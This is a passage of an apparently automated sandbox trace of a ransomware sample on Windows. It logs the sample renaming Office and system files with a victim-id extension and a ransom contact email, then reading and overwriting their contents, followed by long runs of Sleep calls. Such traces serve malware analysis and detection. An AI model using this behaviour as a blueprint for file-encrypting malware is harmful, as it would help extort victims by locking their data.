| out: hHeap=0x630000) returned 1 [0265.205] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x64065d8f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x4bffd20, dwReserved1=0x706b428, cFileName="ARCTIC.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARCTIC~1.FIR")) returned 0x6d5200 [0265.205] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0265.205] Sleep (dwMilliseconds=0x1) [0265.232] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", len=0x8a | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 1 [0265.232] GetProcessHeap () returned 0x630000 [0265.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4be8) returned 0x6fe3bb0 [0265.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0265.233] CloseHandle (hObject=0x3f8) returned 1 [0265.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\pss10r.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.234] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3906, dwReserved0=0x75002d, dwReserved1=0x5c0073, cFileName="PSS10R.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSS10R~1.FIR")) returned 0x6d4f00 [0265.234] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0265.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\pss10r.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0265.234] GetProcessHeap () returned 0x630000 [0265.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3921) returned 0x72571e8 [0265.235] GetProcessHeap () returned 0x630000 [0265.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3921) returned 0x728a2b8 [0265.235] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.235] ReadFile (in: hFile=0x3f8, lpBuffer=0x72571e8, nNumberOfBytesToRead=0x3900, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72571e8*, lpNumberOfBytesRead=0x4bfff0c*=0x3900, lpOverlapped=0x0) returned 1 [0267.232] GetProcessHeap () returned 0x630000 [0267.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0267.232] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.232] WriteFile (in: hFile=0x3f8, lpBuffer=0x728a2b8*, nNumberOfBytesToWrite=0x3900, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x728a2b8*, lpNumberOfBytesWritten=0x4bfff0c*=0x3900, lpOverlapped=0x0) returned 1 [0267.233] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.233] WriteFile (in: hFile=0x3f8, lpBuffer=0x728dbb7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x728dbb7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.233] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.233] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.233] CloseHandle (hObject=0x3f8) returned 1 [0267.233] GetProcessHeap () returned 0x630000 [0267.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728a2b8 | out: hHeap=0x630000) returned 1 [0267.233] GetProcessHeap () returned 0x630000 [0267.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72571e8 | out: hHeap=0x630000) returned 1 [0267.233] GetProcessHeap () returned 0x630000 [0267.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0267.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x653c4f88, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x392a, dwReserved0=0xb907496, dwReserved1=0x72571e0, cFileName="PSS10R.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSS10R~1.FIR")) returned 0x6d4f80 [0267.233] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0267.234] Sleep (dwMilliseconds=0x1) [0269.140] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-100_contrast-white.png", len=0xb3 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-100_contrast-white.png") returned 1 [0269.140] GetProcessHeap () returned 0x630000 [0269.140] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bac) returned 0x6fe3bb0 [0269.141] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagestorelogo.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.144] Sleep (dwMilliseconds=0x1) [0269.153] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-100_contrast-white.png", len=0xb6 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-100_contrast-white.png") returned 1 [0269.153] GetProcessHeap () returned 0x630000 [0269.153] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba8) returned 0x6fe3bb0 [0269.153] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagesplashscreen.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.155] Sleep (dwMilliseconds=0x1) [0269.171] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-100_contrast-white.png", len=0xb1 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-100_contrast-white.png") returned 1 [0269.171] GetProcessHeap () returned 0x630000 [0269.171] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b94) returned 0x6fe3bb0 [0269.171] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.173] Sleep (dwMilliseconds=0x1) [0269.184] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-100_contrast-black.png", len=0xb3 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-100_contrast-black.png") returned 1 [0269.184] GetProcessHeap () returned 0x630000 [0269.184] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b90) returned 0x6fe3bb0 [0269.185] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagestorelogo.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.186] Sleep (dwMilliseconds=0x1) [0269.204] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-100_contrast-black.png", len=0xb3 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-100_contrast-black.png") returned 1 [0269.204] GetProcessHeap () returned 0x630000 [0269.204] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b7c) returned 0x6fe3bb0 [0269.204] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageBadgeLogo.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagebadgelogo.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.205] Sleep (dwMilliseconds=0x1) [0269.216] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-100_contrast-black.png", len=0xb1 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-100_contrast-black.png") returned 1 [0269.216] GetProcessHeap () returned 0x630000 [0269.216] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b78) returned 0x6fe3bb0 [0269.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.219] Sleep (dwMilliseconds=0x1) [0269.231] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png", len=0x98 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png") returned 1 [0269.231] GetProcessHeap () returned 0x630000 [0269.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b6c) returned 0x6fe3bb0 [0269.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagesplashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.232] Sleep (dwMilliseconds=0x1) [0269.248] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png", len=0x93 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png") returned 1 [0269.248] GetProcessHeap () returned 0x630000 [0269.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b58) returned 0x6fe3bb0 [0269.248] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackageapplist.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.248] Sleep (dwMilliseconds=0x1) [0269.268] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCB____.TTF", len=0x45 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCB____.TTF") returned 1 [0269.268] GetProcessHeap () returned 0x630000 [0269.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b50) returned 0x6fe3bb0 [0269.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCB____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccb____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0269.294] CloseHandle (hObject=0x42c) returned 1 [0269.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0269.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCB____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccb____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCB____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccb____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0269.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0269.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCB____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a500ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x101e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TCCB____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TCCB__~1.FIR")) returned 0x6d5580 [0269.298] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0269.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCB____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccb____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0269.301] GetProcessHeap () returned 0x630000 [0269.301] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74ed7b0 [0269.302] GetProcessHeap () returned 0x630000 [0269.302] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74f8be0 [0269.302] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.302] ReadFile (in: hFile=0x42c, lpBuffer=0x74ed7b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74ed7b0*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 60 os_tid = 0x880 [0067.525] Sleep (dwMilliseconds=0x1) [0067.539] Sleep (dwMilliseconds=0x1) [0067.552] Sleep (dwMilliseconds=0x1) [0067.656] Sleep (dwMilliseconds=0x1) [0067.662] Sleep (dwMilliseconds=0x1) [0067.680] Sleep (dwMilliseconds=0x1) [0067.693] Sleep (dwMilliseconds=0x1) [0067.711] Sleep (dwMilliseconds=0x1) [0067.724] Sleep (dwMilliseconds=0x1) [0067.742] Sleep (dwMilliseconds=0x1) [0067.763] Sleep (dwMilliseconds=0x1) [0067.773] Sleep (dwMilliseconds=0x1) [0067.788] Sleep (dwMilliseconds=0x1) [0067.933] Sleep (dwMilliseconds=0x1) [0068.043] Sleep (dwMilliseconds=0x1) [0068.146] Sleep (dwMilliseconds=0x1) [0068.282] Sleep (dwMilliseconds=0x1) [0068.393] Sleep (dwMilliseconds=0x1) [0068.492] Sleep (dwMilliseconds=0x1) [0068.545] Sleep (dwMilliseconds=0x1) [0068.698] Sleep (dwMilliseconds=0x1) [0068.747] Sleep (dwMilliseconds=0x1) [0068.792] Sleep (dwMilliseconds=0x1) [0068.843] Sleep (dwMilliseconds=0x1) [0068.883] Sleep (dwMilliseconds=0x1) [0068.934] Sleep (dwMilliseconds=0x1) [0068.976] Sleep (dwMilliseconds=0x1) [0069.048] Sleep (dwMilliseconds=0x1) [0069.105] Sleep (dwMilliseconds=0x1) [0069.158] Sleep (dwMilliseconds=0x1) [0069.198] Sleep (dwMilliseconds=0x1) [0069.249] Sleep (dwMilliseconds=0x1) [0069.293] Sleep (dwMilliseconds=0x1) [0069.378] Sleep (dwMilliseconds=0x1) [0069.435] Sleep (dwMilliseconds=0x1) [0069.483] Sleep (dwMilliseconds=0x1) [0069.523] Sleep (dwMilliseconds=0x1) [0069.688] Sleep (dwMilliseconds=0x1) [0069.919] Sleep (dwMilliseconds=0x1) [0070.146] Sleep (dwMilliseconds=0x1) [0070.263] Sleep (dwMilliseconds=0x1) [0070.382] Sleep (dwMilliseconds=0x1) [0070.534] Sleep (dwMilliseconds=0x1) [0070.869] Sleep (dwMilliseconds=0x1) [0071.569] Sleep (dwMilliseconds=0x1) [0071.941] Sleep (dwMilliseconds=0x1) [0072.430] Sleep (dwMilliseconds=0x1) [0072.605] Sleep (dwMilliseconds=0x1) [0072.800] Sleep (dwMilliseconds=0x1) [0072.906] Sleep (dwMilliseconds=0x1) [0073.099] Sleep (dwMilliseconds=0x1) [0073.607] Sleep (dwMilliseconds=0x1) [0073.776] Sleep (dwMilliseconds=0x1) [0073.977] Sleep (dwMilliseconds=0x1) [0074.058] Sleep (dwMilliseconds=0x1) [0074.181] Sleep (dwMilliseconds=0x1) [0074.380] Sleep (dwMilliseconds=0x1) [0074.671] Sleep (dwMilliseconds=0x1) [0074.771] Sleep (dwMilliseconds=0x1) [0074.849] Sleep (dwMilliseconds=0x1) [0074.908] Sleep (dwMilliseconds=0x1) [0074.997] Sleep (dwMilliseconds=0x1) [0075.063] Sleep (dwMilliseconds=0x1) [0075.103] Sleep (dwMilliseconds=0x1) [0075.160] Sleep (dwMilliseconds=0x1) [0075.219] Sleep (dwMilliseconds=0x1) [0075.261] Sleep (dwMilliseconds=0x1) [0075.308] Sleep (dwMilliseconds=0x1) [0075.358] Sleep (dwMilliseconds=0x1) [0075.424] Sleep (dwMilliseconds=0x1) [0075.509] Sleep (dwMilliseconds=0x1) [0075.571] Sleep (dwMilliseconds=0x1) [0075.608] Sleep (dwMilliseconds=0x1) [0075.694] Sleep (dwMilliseconds=0x1) [0075.747] Sleep (dwMilliseconds=0x1) [0075.790] Sleep (dwMilliseconds=0x1) [0075.833] Sleep (dwMilliseconds=0x1) [0076.046] Sleep (dwMilliseconds=0x1) [0076.061] Sleep (dwMilliseconds=0x1) [0076.085] Sleep (dwMilliseconds=0x1) [0076.105] Sleep (dwMilliseconds=0x1) [0076.188] Sleep (dwMilliseconds=0x1) [0076.389] Sleep (dwMilliseconds=0x1) [0076.532] Sleep (dwMilliseconds=0x1) [0076.670] Sleep (dwMilliseconds=0x1) [0076.772] Sleep (dwMilliseconds=0x1) [0076.807] Sleep (dwMilliseconds=0x1) [0076.844] Sleep (dwMilliseconds=0x1) [0076.870] Sleep 